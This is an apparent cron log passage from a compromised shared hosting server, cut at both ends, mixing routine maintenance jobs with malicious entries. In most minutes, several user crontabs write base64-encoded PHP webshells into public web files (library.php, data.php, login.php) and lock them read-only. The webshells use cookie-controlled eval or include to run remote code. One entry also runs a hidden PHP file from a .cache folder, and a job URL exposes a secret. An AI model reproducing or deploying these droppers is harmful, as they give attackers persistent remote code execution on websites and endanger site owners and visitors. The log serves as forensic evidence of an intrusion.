KSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:15:01 medusa CROND[9881]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 09:15:02 medusa CROND[10019]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 09:15:02 medusa CROND[10020]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 09:15:02 medusa CROND[10021]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 09:15:02 medusa CROND[10022]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 09:15:02 medusa CROND[10023]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 09:15:02 medusa CROND[10024]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 09:15:02 medusa CROND[10027]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 09:15:02 medusa CROND[10025]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 09:15:02 medusa CROND[10032]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 09:15:02 medusa CROND[10035]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:15:02 medusa CROND[10036]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 09:15:02 medusa CROND[10041]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:15:02 medusa CROND[10037]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 09:15:02 medusa CROND[10044]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 09:15:02 medusa CROND[10042]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 09:15:02 medusa CROND[10049]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 09:15:02 medusa CROND[10051]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:15:02 medusa CROND[10052]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 09:15:02 medusa CROND[10053]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:15:02 medusa CROND[10038]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 09:15:02 medusa CROND[10058]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 09:15:02 medusa CROND[10050]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 09:16:01 medusa CROND[557]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:16:01 medusa CROND[558]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 09:16:01 medusa CROND[563]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:16:01 medusa CROND[564]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 09:16:01 medusa CROND[565]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 09:16:01 medusa CROND[569]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 09:16:01 medusa CROND[570]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 09:16:01 medusa CROND[571]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 09:16:01 medusa CROND[573]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 09:16:01 medusa CROND[572]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 09:16:01 medusa CROND[578]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 09:16:01 medusa CROND[581]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 09:16:01 medusa CROND[584]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:16:01 medusa CROND[585]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:17:01 medusa CROND[23324]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 09:17:01 medusa CROND[23325]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 09:17:01 medusa CROND[23326]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 09:17:01 medusa CROND[23329]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0g